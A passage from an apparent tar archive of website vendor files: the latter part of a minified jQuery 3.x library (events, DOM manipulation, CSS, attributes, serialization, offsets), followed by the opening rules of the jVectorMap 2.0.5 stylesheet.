0===e.defaultPrevented&&!1===e.returnValue?Ee:Ne,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:Ne,isPropagationStopped:Ne,isImmediatePropagationStopped:Ne,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Ce.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return Ae(this,e,t,n,r)},one:function(e,t,n,r){return Ae(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Ne),this.each(function(){w.event.remove(this,e,n,t)})}});var De=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Se=/<script|<style|<link/i,Le=/checked\s*(?:[^=]|=\s*.checked.)/i,je=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return D(e,"table")&&D(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function Oe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Pe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function He(e,t){var n,r,i,o,a,u,s,l;if(1===t.nodeType){if(K.hasData(e)&&(o=K.access(e),a=K.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}J.hasData(e)&&(u=J.access(e),s=w.extend({},u),J.set(t,s))}}function Ie(e,t){var n=t.nodeName.toLowerCase();"input"===n&&de.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,u,s,l,c,f=0,d=e.length,p=d-1,v=t[0],y=g(v);if(y||d>1&&"string"==typeof v&&!h.checkClone&&Le.test(v))return e.each(function(i){var o=e.eq(i);y&&(t[0]=v.call(this,i,o.html())),Re(o,t,n,r)});if(d&&(i=be(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(s=(u=w.map(ve(i,"script"),Oe)).length;f<d;f++)l=i,f!==p&&(l=w.clone(l,!0,!0),s&&w.merge(u,ve(l,"script"))),n.call(e[f],l,f);if(s)for(c=u[u.length-1].ownerDocument,w.map(u,Pe),f=0;f<s;f++)l=u[f],he.test(l.type||"")&&!K.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(je,""),c,l))}return e}function Be(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ve(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(De,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,u=e.cloneNode(!0),s=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ve(u),r=0,i=(o=ve(e)).length;r<i;r++)Ie(o[r],a[r]);if(t)if(n)for(o=o||ve(e),a=a||ve(u),r=0,i=o.length;r<i;r++)He(o[r],a[r]);else He(e,u);return(a=ve(u,"script")).length>0&&ye(a,!s&&ve(e,"script")),u},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[K.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[K.expando]=void 0}n[J.expando]&&(n[J.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return _(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return _(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Se.test(e)&&!ge[(pe.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ve(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),u.apply(r,n.get());return this.pushStack(r)}});var Me=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),We=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},$e=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",xe.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,s=12===n(t.marginLeft),c.style.right="60%",u=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",xe.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,u,s,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),u},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),s},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,u=e.style;return(n=n||We(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&Me.test(a)&&$e.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function ze(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var _e=/^(none|table(?!-c[ea]).+)/,Ue=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Xe={letterSpacing:"0",fontWeight:"400"},Qe=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Ge(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Ye)return e}function Ke(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Ge(e)||e),t}function Je(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,u=0,s=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(s+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(s-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(s-=w.css(e,"border"+oe[a]+"Width",!0,i))):(s+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?s+=w.css(e,"border"+oe[a]+"Width",!0,i):u+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(s+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-s-u-.5))),s}function et(e,t,n){var r=We(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(Me.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,u=Q(t),s=Ue.test(t),l=e.style;if(s||(t=Ke(u)),a=w.cssHooks[t]||w.cssHooks[u],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[u]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(s?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,u=Q(t);return Ue.test(t)||(t=Ke(u)),(a=w.cssHooks[t]||w.cssHooks[u])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Xe&&(i=Xe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!_e.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):ue(e,Ve,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=We(e),a="border-box"===w.css(e,"boxSizing",!1,o),u=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(u-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),u&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Je(e,n,u)}}}),w.cssHooks.marginLeft=ze(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Je)}),w.fn.extend({css:function(e,t){return _(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=We(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}}),w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var tt,nt=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return _(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?tt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&D(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(I);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),tt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=nt[t]||w.find.attr;nt[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=nt[a],nt[a]=i,i=null!=n(e,t,r)?a:null,nt[a]=o),i}});var rt=/^(?:input|select|textarea|button)$/i,it=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return _(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):rt.test(e.nodeName)||it.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function ot(e){return(e.match(I)||[]).join(" ")}function at(e){return e.getAttribute&&e.getAttribute("class")||""}function ut(e){return Array.isArray(e)?e:"string"==typeof e?e.match(I)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,u,s=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,at(this)))});if((t=ut(e)).length)while(n=this[s++])if(i=at(n),r=1===n.nodeType&&" "+ot(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(u=ot(r))&&n.setAttribute("class",u)}return this},removeClass:function(e){var t,n,r,i,o,a,u,s=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,at(this)))});if(!arguments.length)return this.attr("class","");if((t=ut(e)).length)while(n=this[s++])if(i=at(n),r=1===n.nodeType&&" "+ot(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(u=ot(r))&&n.setAttribute("class",u)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,at(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=ut(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=at(this))&&K.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":K.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+ot(at(n))+" ").indexOf(t)>-1)return!0;return!1}});var st=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(st,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:ot(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,u=a?null:[],s=a?o+1:i.length;for(r=o<0?s:a?o:0;r<s;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!D(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;u.push(t)}return u},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var lt=/^(?:focusinfocus|focusoutblur)$/,ct=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,u,s,l,c,d,p,h,y=[i||r],m=f.call(t,"type")?t.type:t,b=f.call(t,"namespace")?t.namespace.split("."):[];if(u=h=s=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!lt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(b=m.split(".")).shift(),b.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=b.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),p=w.event.special[m]||{},o||!p.trigger||!1!==p.trigger.apply(i,n))){if(!o&&!p.noBubble&&!v(i)){for(l=p.delegateType||m,lt.test(l+m)||(u=u.parentNode);u;u=u.parentNode)y.push(u),s=u;s===(i.ownerDocument||r)&&y.push(s.defaultView||s.parentWindow||e)}a=0;while((u=y[a++])&&!t.isPropagationStopped())h=u,t.type=a>1?l:p.bindType||m,(d=(K.get(u,"events")||{})[t.type]&&K.get(u,"handle"))&&d.apply(u,n),(d=c&&u[c])&&d.apply&&Y(u)&&(t.result=d.apply(u,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||p._default&&!1!==p._default.apply(y.pop(),n)||!Y(i)||c&&g(i[m])&&!v(i)&&((s=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,ct),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,ct),w.event.triggered=void 0,s&&(i[c]=s)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=K.access(r,t);i||r.addEventListener(e,n,!0),K.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=K.access(r,t)-1;i?K.access(r,t,i):(r.removeEventListener(e,n,!0),K.remove(r,t))}}});var ft=/\[\]$/,dt=/\r?\n/g,pt=/^(?:submit|button|image|reset|file)$/i,ht=/^(?:input|select|textarea|keygen)/i;function gt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||ft.test(e)?r(e,i):gt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==b(t))r(e,t);else for(i in t)gt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)gt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&ht.test(this.nodeName)&&!pt.test(e)&&(this.checked||!de.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(dt,"\r\n")}}):{name:t.name,value:n.replace(dt,"\r\n")}}).get()}}),w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=S.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=be([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.offset={setOffset:function(e,t,n){var r,i,o,a,u,s,l,c=w.css(e,"position"),f=w(e),d={};"static"===c&&(e.style.position="relative"),u=f.offset(),o=w.css(e,"top"),s=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+s).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(s)||0),g(t)&&(t=t.call(e,n,w.extend({},u))),null!=t.top&&(d.top=t.top-u.top+a),null!=t.left&&(d.left=t.left-u.left+i),"using"in t?t.using.call(e,d):f.css(d)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||xe})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return _(this,function(e,r,i){var o;if(v(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=ze(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),Me.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),u=n||(!0===i||!0===o?"margin":"border");return _(this,function(t,n,i){var o;return v(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,u):w.style(t,n,i,u)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=D,w.isFunction=g,w.isWindow=v,w.camelCase=Q,w.type=b,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var vt=e.jQuery,yt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=yt),t&&e.jQuery===w&&(e.jQuery=vt),w},t||(e.jQuery=e.$=w),w}); js/vendor/jquery-jvectormap-2.0.5.css000064400000014753151676723140013344 0ustar00svg { touch-action: none; } .jvectormap-container { width: 100%; height: 100%; position: relative; overflow: hidden; touch-action: none; } .jvectormap-tip { position: absolute; display: none; border: solid 1px #CDCDCD; border-radius: 3px; background: #292929; color: white; font-family: sans-serif, Verdana; font-size: smaller; padding: 3px; } .jvectormap-zoomin, .jvectormap-zoomout, .jvectormap-goback { position: absolute; left: 10px; border-radius: 3px; background: #292929; padding: 3px; color: white; cursor: pointer; line-height: 10px; text-align: center; box-sizing: content-box; } .jvectormap-zoomin, .jvectormap-zoomout { width: 10px; height: 10px; } .jvectormap-zoomin { top: 10px; } .jvectormap-zoomout { top: 30px; } .jvectormap-goback { bottom: 10px; z-index: 1000; padding: 6px; } .jvectormap-spinner { position: absolute; left: 